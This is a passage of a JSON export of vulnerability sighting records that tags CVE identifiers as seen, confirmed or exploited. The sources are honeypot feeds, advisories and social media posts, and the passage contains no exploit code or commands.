"CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "b5f7f2a4-0c4e-4a82-ace0-068f382335c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-5057.yaml", "content": "", "creation_timestamp": "2025-12-28T12:11:40.000000Z"}, {"uuid": "ec7dd6ac-24f3-495a-9ca0-2f2c7748ec03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mbfbpeztng2f", "content": "", "creation_timestamp": "2026-01-01T21:02:59.111956Z"}, {"uuid": "6eaaf71f-2ecd-4f2b-a402-b77b2964cf9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-05)", "content": "", "creation_timestamp": "2026-01-05T00:00:00.000000Z"}, {"uuid": "1613c8cf-3a30-4e33-9ecc-1be908397c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50067", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mbynkk7rzk2z", "content": "", "creation_timestamp": "2026-01-09T13:55:34.080819Z"}, {"uuid": "4d6e2158-3654-4b0a-a68f-1e20a6627007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50095", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mbynkk7rzk2z", "content": "", "creation_timestamp": "2026-01-09T13:55:34.175243Z"}, {"uuid": "c12b8177-cd4d-479b-ae67-938bd292ea27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50196", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mbynkk7rzk2z", "content": "", "creation_timestamp": "2026-01-09T13:55:34.258070Z"}, {"uuid": "386b3ccb-9fc1-41dc-81f8-c6a71dd6b597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mckor2ajsy26", "content": "", "creation_timestamp": "2026-01-16T18:05:00.803931Z"}, {"uuid": "6c9c22c7-44d3-471d-9948-3d1e7d2d48b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mckor2flnj2g", "content": "", "creation_timestamp": "2026-01-16T18:05:01.440372Z"}, {"uuid": "9b692dd6-2e75-4ae9-a3fb-9d350940b7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mckorhe3mff2", "content": "", "creation_timestamp": "2026-01-16T18:05:46.909286Z"}, {"uuid": "808bb6ee-7c61-45d2-b371-853650299963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "3373a51a-9d2b-4d56-acd0-29c4bbc5d50a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "be40d418-9d62-4a5f-b55b-b61f6ce215b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50498", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mdioksowcn27", "content": "", "creation_timestamp": "2026-01-28T16:21:23.836339Z"}, {"uuid": "6e8742b1-6921-44fb-ae61-a60c8a28295c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50047", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mgcppw5l6dj2", "content": "", "creation_timestamp": "2026-03-05T11:41:46.971311Z"}, {"uuid": "099230cb-1429-4b0c-8706-d8752f45fd8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5000", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "049a01fe-da73-4056-8676-6b56a2deb29f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50217", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4413fd2d-d2c7-4c93-9a82-bddc6bc1f8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50246", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "2d32f58c-4498-49de-8d5a-5274cba0cf6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50271", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "8cc97850-6983-479c-961d-4016fcca678b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50284", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "da5d3ef7-7576-4172-bc27-f1283341111c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50285", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "7ee42929-4640-4f93-b87d-0a7ccfaff419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50286", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "0da390df-f724-40d6-bf6b-67e1beab7cb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50289", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "ecf092d1-2d7d-40e7-9d02-293f571f61ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50298", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "5a0a8aa0-6c95-4d96-847a-70243efbd72f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50211", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "ca64734f-8000-4225-a847-ab2436632cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50187", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "153b847a-8428-4587-a20e-b16b6f80145e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50183", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "8cd59206-4d5c-434b-87b8-78af9886d250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50009", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "a165c155-0264-4d7a-831f-c90a7f60e49a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50012", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4e197208-8f8d-4b04-873f-798783f9cc0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50014", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "6f4731b9-d6ba-45dc-bafc-0030e4dcaa3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50017", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "6623ea33-a313-4249-9de2-e1eaceb9a1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50028", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "ae7bdd69-fc01-426d-bcc8-512f09060072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50034", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "7765b2ce-816f-4603-a09c-6dbd99ea0c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50048", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "d22709bb-82a1-4427-8d59-af6c9e236162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50056", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "26172f59-7511-4bcc-9203-3a7e9c45c79c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50057", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "0acbbee0-c46e-4213-8b96-fd3914f77eff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50164", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4cdaff45-7021-40b9-aebe-578202423e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50060", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "eab0b18a-9a58-4552-a1dd-8d2b3c780175", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50063", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4016aec0-3342-4882-8ccb-4c90c738927f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50098", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "9381574c-76b3-4866-a699-1a60372be84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50106", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "cedbcb67-9ad8-475c-ba34-da10df9311ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50112", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "0ad8a557-84b4-468e-b495-eaeb62ea9556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50135", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "2e244b0f-5c37-46df-91e7-a20bcafa5d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50138", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "9786b1be-6164-4270-8019-fd69f358ddf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50146", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "e2d77171-3042-47bc-9d07-6f13f225be5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50166", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "a0598db5-07d4-4c6e-93be-9ea293ee2712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/13ba7b76-4ab9-4563-890b-8e54d0fa4e13", "content": "", "creation_timestamp": "2026-02-02T12:26:18.729920Z"}, {"uuid": "0a993e07-bd78-45cb-bbc4-f1cd82e006a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/df718c0f-7da1-4ecc-81fb-20cd741e415b", "content": "", "creation_timestamp": "2026-02-02T12:26:16.136238Z"}, {"uuid": "a65ebcd4-ef1f-4788-8308-c893145574dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fc0fc027-1090-4e11-9d90-8cc81af807b8", "content": "", "creation_timestamp": "2026-02-02T12:26:09.203937Z"}, {"uuid": "6acfa303-f667-409c-b76a-52101d9a97db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50478", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mk6ffk7uos2s", "content": "", "creation_timestamp": "2026-04-23T16:07:07.799917Z"}, {"uuid": "557de00a-1fa2-4b30-8131-0cf24a14b87b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50465", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mk6h36s36d2p", "content": "", "creation_timestamp": "2026-04-23T16:37:07.735654Z"}, {"uuid": "b996cd5e-77b8-4ff3-8151-49a99b0f10fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "3441ffb0-c0fd-47e6-aeee-43c8a4d7ccc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "d8036981-e8f2-4046-8376-71006025edb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50195", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me6zzvrufd2z", "content": "", "creation_timestamp": "2026-02-06T13:45:16.252407Z"}, {"uuid": "3cd26c3b-9777-4217-b874-07f56152af24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "da64a1ab-4a01-4a75-b814-0f9f4e30a3e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "d3e3c7b7-bd64-4aa7-ad60-777f408fd4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfxoxwyp2j2p", "content": "", "creation_timestamp": "2026-03-01T02:29:07.827772Z"}, {"uuid": "f6c123af-e794-4d76-9500-1b3020e78124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "857bac10-f08d-4ab8-8a63-063bd3ea891e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "4f349f78-2cbd-43eb-b2a6-6cf02976cad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-24)", "content": "", "creation_timestamp": "2026-03-24T00:00:00.000000Z"}, {"uuid": "513bd60b-36f5-449b-9beb-c93529876b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1447", "content": "", "creation_timestamp": "2024-12-18T04:00:00.000000Z"}, {"uuid": "4290299e-8be7-45d7-b6c3-8bfad5b89479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/df718c0f-7da1-4ecc-81fb-20cd741e415b", "content": "", "creation_timestamp": "2026-02-02T12:26:16.136238Z"}, {"uuid": "18bacb89-3180-4c66-87fb-bb8f90f96e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fc0fc027-1090-4e11-9d90-8cc81af807b8", "content": "", "creation_timestamp": "2026-02-02T12:26:09.203937Z"}, {"uuid": "ecb24972-8e11-4d15-b9c7-86b77d5693f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://vulnerability.circl.lu/comment/92cdf9dd-1009-427b-8181-b444dc288f89", "content": "", "creation_timestamp": "2024-12-10T07:56:04.828065Z"}, {"uuid": "b1c35d9a-ae8f-4791-8665-d1cd9de6b5dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50095", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "f767388d-70b1-4633-885d-ba21ade264af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "63462484-2f8f-4830-9c2f-12c64f24ee0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50067", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "0c419c63-f3cd-4632-86bf-db7dbe3a4dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50289", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "6c5a859e-b373-448a-b739-731dfb1935f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50135", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "a25936f4-5127-44b5-b6f5-0a6dcb1ea46d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50282", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "2bd494fe-a8ab-4fc1-b46c-6c0db83e0945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50183", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "a5fa6954-788a-442e-a05c-d8bbe219bdbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50061", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "1adf04e4-0d51-495f-93c7-d6e078707d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50211", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": 